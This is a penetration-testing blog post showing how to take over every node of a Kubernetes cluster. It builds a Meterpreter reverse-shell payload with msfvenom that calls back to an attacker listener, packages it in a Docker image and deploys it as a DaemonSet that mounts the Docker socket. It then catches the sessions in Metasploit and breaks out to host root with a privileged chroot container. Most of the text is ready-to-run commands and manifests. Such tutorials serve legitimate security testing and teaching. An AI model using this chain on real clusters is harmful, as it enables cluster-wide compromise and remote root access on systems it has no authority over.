Following on from the last post in this series lets setup a rather more ambitious set of reverse shells when attacking a Kubernetes cluster.
The scenario here is that we’ve got the ability to create a daemonset
object in a target Kubernetes cluster and we’d like to have shells on every node in the cluster which have the Docker socket exposed, so we can get a root shell on every node in the cluster.
To do this we’ll need something that’ll easily handle multiple incoming shells, so we’ll turn to the Metasploit Framework and specifically, exploit/multi/handler
Step 1: Create the payload
We need a Docker image that we can deploy to the cluster which will have our payload to connect back to the listener that we’re going to setup and will run on each node in the cluster.
For this we can run msfvenom to setup our payload and then embed that into a Docker image.
In this case our pentester machine will be on 192.168.200.1
. To avoid managing all Metasploit’s dependencies we can just run it in a Docker container.
This command will generate our payload
docker run raesene/metasploit ./msfvenom -p linux/x64/meterpreter_reverse_http LHOST=192.168.200.1 LPORT=8989 -f elf > reverse_shell.elf
Setting up the Docker Image
Next run this command to get the Docker GPG key into your directory
curl https://download.docker.com/linux/ubuntu/gpg > docker.gpg
We can now create a Dockerfile to host this shell and upload it to Docker hub. The Dockerfile is a pretty simple one, we’ll need out payload and also the Docker client, for later use.
FROM ubuntu:18.04
RUN apt update && apt install -y apt-transport-https ca-certificates curl software-properties-common
COPY docker.gpg /docker.gpg
RUN apt-key add /docker.gpg
RUN add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"
RUN apt-get install -y docker-ce-cli
COPY reverse_shell.elf /reverse_shell.elf
RUN chmod +x /reverse_shell.elf
CMD ["/reverse_shell.elf"]
Build it with (replace raesene below with your own docker hub name)
docker build -t raesene/reverse_shell .
Then you can login to Docker hub with docker login
and upload with
docker push raesene/reverse_shell
At this point we can test our reverse shell on a single machine by setting up a Metasploit listener and check that all is well.
Step 2: Setting up Metasploit to receive our shells
On the pentester machine start-up the metasploit console with
msfconsole
then
use exploit/multi/handler
and set our variables, in the same way we did with msfvenom
earlier
set payload linux/x64/meterpreter_reverse_http
set LHOST 192.168.200.1
set LPORT 8989
set ExitOnSession false
With those set, we can start it up to listen for incoming shells
exploit -j
Now on a target machine run our shell and we should get that back on the metasploit console
docker run raesene/reverse_shell
Assuming that’s all working we’re ready to scale it up to our Kubernetes cluster
Step 3: Using a Daemonset to compromise a cluster
So we want a workload which will run on every node in the cluster, and that’s exactly what a daemonset will do for us. We’ll need a manifest that creates our daemonset and also we want it to expose the Docker socket so we can easily break out of each of our containers to the underlying host.
This should work fine, unless the cluster has a PodSecurityPolicy blocking the mounting of the docker socket inside a container.
We’ll call our manifest reverse-shell-daemonset.yml
and it should contain this :-
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: reverse-shell-daemonset
labels:
spec:
selector:
matchLabels:
name: reverse-shell-daemonset
template:
metadata:
labels:
name: reverse-shell-daemonset
spec:
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
containers:
- name: revshell
image: raesene/reverse-shell
volumeMounts:
- mountPath: /var/run/docker.sock
name: dockersock
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
Once you’ve got your manifest ready, just apply it to the cluster with
kubectl create -f reverse-shell-daemonset.yml
Back on your metasploit console you should see your shells pop in, one for each node :)
Getting to root on the nodes
So once you’ve got your shells working, you can interact with them from the Metasploit console
sessions -l
Will show you your active sessions. Then
sessions -i 1
Will let you interact with one of them
shell
should give you a shell inside the container running on one of our nodes. Now the last part is to use the exposed Docker Socket to get a root shell on the underlying host.
To Do this we can juse make use of the every handy Most Pointless Docker Command Ever
Running
docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host
and it’ll dump us out to a root shell on the underlying node :)